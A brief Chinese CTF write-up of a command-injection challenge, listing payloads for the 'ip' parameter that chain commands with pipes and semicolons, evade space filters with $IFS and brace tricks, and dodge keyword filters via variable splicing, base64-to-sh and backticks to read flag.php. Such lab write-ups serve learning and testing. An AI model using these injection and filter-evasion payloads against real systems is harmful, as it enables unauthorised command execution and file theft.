知识点:
命令执行漏洞
空格以及字符串的绕过
?ip=127.0.0.1
?ip=127.0.0.1|ls
?ip=127.0.0.1|cat flag.php
显示不可以有空格
测试一下发现可以代替空格的形式
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
/**/
%0a
$IFS$9成功( $IFS是bash中的内部域分隔符,可以代替空格。后面的$9数字是可以随意的,每个数字都有特殊含义,但是和前面的搭配都可以表示空格;)
?ip=127.0.0.1|cat$IFS$9flag.php
又提示不能有flag(绕过字符串)
cat fl* 利用*匹配任意
echo Y2F0IGZsYWcucGhw| base64 -d | bash
ca\t fl\ag.php
cat fl''ag.php
以上都没成功
尝试变量拼接
?ip=127.0.0.1|a=g;cat$IFS$9fla$a.php
这里管道符没成功,换成分号试下
?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
查看源代码的flag
官方WP:
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
过滤bash可以用sh,sh的大部分脚本都可以在bash下运行。
dalaoWP:
?ip=127.0.0.1;cat$IFS$9`ls`
内联,将反引号内命令的输出作为输入执行。